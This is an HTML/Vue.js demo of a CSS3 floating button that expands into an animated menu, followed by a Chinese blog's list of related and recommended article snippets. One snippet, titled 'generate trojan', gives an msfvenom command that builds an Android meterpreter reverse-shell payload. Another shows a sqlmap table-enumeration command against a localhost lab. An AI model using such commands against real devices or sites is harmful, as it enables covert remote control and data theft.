<!DOCTYPE html>

<html>

    <head>

        <meta charset="UTF-8">

        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />

        <title>CSS3--点击弹出菜单动画</title>

        <script src='rem.js'></script>

        <!--公用css-->

        <style>

        .action{position:fixed;z-index:98;bottom:20%;right:0.3rem;display:flex;flex-direction:column;align-items:flex-end}

        .action.open .group{width:5.6rem}

        .action .option .btn.open{transform:rotate(45deg);background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAABXUlEQVRoge3a0a3CMBBE0SnBJaSElEAJdEopr4RXQkqAjzDSCpEIsNc7tvZK/Np7hIDYAsiyLMuy4VoBlOghTioAllaLrQD+AfxBE10A3ABs2Getitj786WGJpbzVaMLduQdeuhXLGdbWiyshnbD2g1U0O5Yu1E0uhvWbhiF7o61G/dGh2HtAL3Q4Vg7iDdaBmsH8kLLYZkHWhbLWqLlsawFehgsq0EPh2W/oIfFsm/Qw2PZJ+hpsOwMPR2WHaGnxLJ36Gmx7Ag9JRZ4/5lVuC5y6Qg7Jfro2zj6usils58ehTuypn3yOzsN+puHiuHRvzxBDYuueVwcDt3i2XgYdMuDgDza49Qji/Y84smhe5xnZdA9D+/h6IibijB05LVMd7TCHVQ3tALWzuKKVsLamVzQiljmgl6w/9lLDcte0RuAS+2i63MhNSwjegNwbbXoCk0sK2jwzmZZlmVZ5x6bMoW02l6QZgAAAABJRU5ErkJggg==)}

        .action .group{display:flex;width:0.96rem;transition:width 1s;-moz-transition:width 1s;-webkit-transition:width 1s;-o-transition:width 1s;height:0.96rem;overflow:hidden;background-color:#00B0F0;position:relative;border-radius:0.48rem}

        .action .buttons{flex:1;width:5.6rem;display:flex;overflow-y:hidden}

        .action .buttons .item{flex:1;width:1.8rem;height:0.96rem;background:transparent no-repeat center;background-size:contain;white-space:nowrap;display:flex;flex-direction:column;align-items:center;justify-content:space-around;font-size:0.24rem;color:#001E50}

        .action .option{width:0.96rem;height:0.96rem;font-size:0}

        .action .option .btn.close{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAABXUlEQVRoge3a0a3CMBBE0SnBJaSElEAJdEopr4RXQkqAjzDSCpEIsNc7tvZK/Np7hIDYAsiyLMuy4VoBlOghTioAllaLrQD+AfxBE10A3ABs2Getitj786WGJpbzVaMLduQdeuhXLGdbWiyshnbD2g1U0O5Yu1E0uhvWbhiF7o61G/dGh2HtAL3Q4Vg7iDdaBmsH8kLLYZkHWhbLWqLlsawFehgsq0EPh2W/oIfFsm/Qw2PZJ+hpsOwMPR2WHaGnxLJ36Gmx7Ag9JRZ4/5lVuC5y6Qg7Jfro2zj6usils58ehTuypn3yOzsN+puHiuHRvzxBDYuueVwcDt3i2XgYdMuDgDza49Qji/Y84smhe5xnZdA9D+/h6IibijB05LVMd7TCHVQ3tALWzuKKVsLamVzQiljmgl6w/9lLDcte0RuAS+2i63MhNSwjegNwbbXoCk0sK2jwzmZZlmVZ5x6bMoW02l6QZgAAAABJRU5ErkJggg==)}

        .action .option .btn{width:0.96rem;height:0.96rem;border-radius:100%;background:transparent no-repeat center;background-size:0.44rem}

        </style>

    </head>

    <body>

        <div id="app">

            <!-- DIALOG 右侧操作-->

            <div class="action" :class="{'open' : actionStatus}">

                <div class="group">

                    <div class="buttons">

                        <div class="item">配装器</div>

                        <div class="item">金融计算器</div>

                        <div class="item">参数配置</div>

                    </div>

                    <div class="option">

                        <div class="btn close" v-if="actionStatus" @click="toggleAction">关闭</div>

                        <div class="btn open" v-if="!actionStatus" @click="toggleAction">展开</div>

                    </div>

                </div>

            </div>

        </div>

    </body>

    <script src="vue.js"></script>

    <script>

        var app = new Vue({

            el:'#app',

            data() {

                return {

                    actionStatus: false, // 浮动动按钮状态，未打开

                }

            },

            created() {},

            methods:{

                toggleAction() {

                    this.actionStatus = !this.actionStatus

                },

            },

        })

    </script>

</html>

CSS3--点击弹出菜单动画的更多相关文章

  1. iOS-一个弹出菜单动画视图开源项目分享

    相似于Tumblr公布button的弹出视图 使用非常easy: 初始化: @property (nonatomic, strong) XWMenuPopView *myMenuPopView; - ...

  2. html + js 右 点击 弹出 菜单

    页面 引用jar 包 <link rel="stylesheet" href="../../style/zui.min.css" type="t ...

  3. 鼠标右键点击弹出菜单（jQuery）

    禁用浏览器默认事件,此处是兼容写法 $(document).contextmenu(function (e) { var event = e || window.event; if (event.pr ...

  4. CSS3圆环动态弹出菜单

    体验效果:http://hovertree.com/texiao/css3/44/ 代码如下: <!DOCTYPE html> <html lang="zh"&g ...

  5. Mui --- 弹出菜单

    mui框架内置了弹出菜单插件,弹出菜单显示内容不限,但必须包裹在一个含.mui-popover类的div中,如下即为一个弹出菜单内容: <div id="popover" c ...

  6. FloatActionButton弹出菜单

    浮动按钮的弹出菜单动画 将几个按钮重叠摆放,使用ValueAnimator更新按钮的坐标实现. 布局 <FrameLayout android:layout_width="match_ ...

  7. jQuery之点击弹出图标环形菜单

    <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8&quo ...

  8. CSS3 页面中展示邮箱列表点击弹出发送邮件界面

    CSS3 页面中展示邮箱列表点击弹出发送邮件界面 代码: <!DOCTYPE html> <html> <head> <meta charset=" ...

  9. PopupWindow-----点击弹出 PopupWindow 初始化菜单

    /** * 点击弹出 PopupWindow 初始化菜单 */ private void initPopupWindow() { PopupWindowAdapter adapter = new Po ...

  10. 微信小程序动画之弹出菜单

    用微信小程序做了一个动画,效果如上图: 代码: js: Page({ data: { isPopping: false, animPlus: {}, animCollect: {}, animTran ...

随机推荐

  1. 使用VMware安装Linux(CentOS)操作系统

    使用VMware安装CentOS 6.4 环境:Windows7 , VMware Workstation10, CentOS6.4 为什么选择CentOS ? 主流: 目前的Linux操作系统主要应 ...

  2. 【Shell案例】【取指定列的方式$5 p[6]，双括号运算、awk、管道运算】8、统计所有进程占用内存大小的和

    假设 nowcoder.txt 内容如下:root 2 0.0 0.0 0 0 ? S 9月25 0:00 [kthreadd]root 4 0.0 0.0 0 0 ? I< 9月25 0:00 ...

  3. 【重难点】函数式接口、函数式编程、匿名内部类、Lambda表达式、语法糖

    一.函数式接口 1.概念 仅有一个抽象方法的接口 适用于函数式编程(Lambda表达式) 常见:Runnable.Comparator<>.生产型接口Producer的get方法.消费型接 ...

  4. 浅谈 Java 和 Python 的反射

    反射这个词我一直没搞懂,也不知道为什么需要反射,也不知道反射到底做了什么.所见所闻逐渐丰富之后,开始有点儿懂了. 先不管反射这个词是什么意思.Java 里面有反射,Python 里面也有反射,但是不太 ...

  5. 把盏言欢,款款而谈,ChatGPT结合钉钉机器人(outgoing回调)打造人工智能群聊/单聊场景,基于Python3.10

    就像黑火药时代里突然诞生的核弹一样,OpenAI的ChatGPT语言模型的横空出世,是人工智能技术发展史上的一个重要里程碑.这是一款无与伦比.超凡绝伦的模型,能够进行自然语言推理和对话,并且具有出色的 ...

  6. Window系统的mysql数据库定时备份

    原文:Window系统的mysql数据库定时备份 - Stars-One的杂货小窝 最近老大提到了数据库备份的功能,由于服务器是window系统的,所以研究了下备份的方案,特此记录 主要是实现每天定时 ...

  7. 监控Android（生成木马）

    生成木马: sudo su msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=IP地址 lport=端口号 R ...

  8. SQLMap入门——获取数据库中的表名

    查询完数据库后,查询指定数据库中所有的表名 python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D xssplatf ...

  9. 万万没想到，go的数据库操作，也能像php一样溜了

    Hi,各位go的小伙伴. 很多人都是从php转过来的吧,不知道你们有没有发现,go界的orm并没有像php的orm一样好用.这篇文章里,我们认真的讨论下这个问题,并且会在后面提出解决方案. php的方 ...

  10. [python] Python map函数总结

    Python map函数总结 本文主要介绍如何使用Python(Python3版本)的内置map()函数.简单来说map()函数会将指定的函数依次作用于某个序列的每个元素,并返回一个迭代器对象.map ...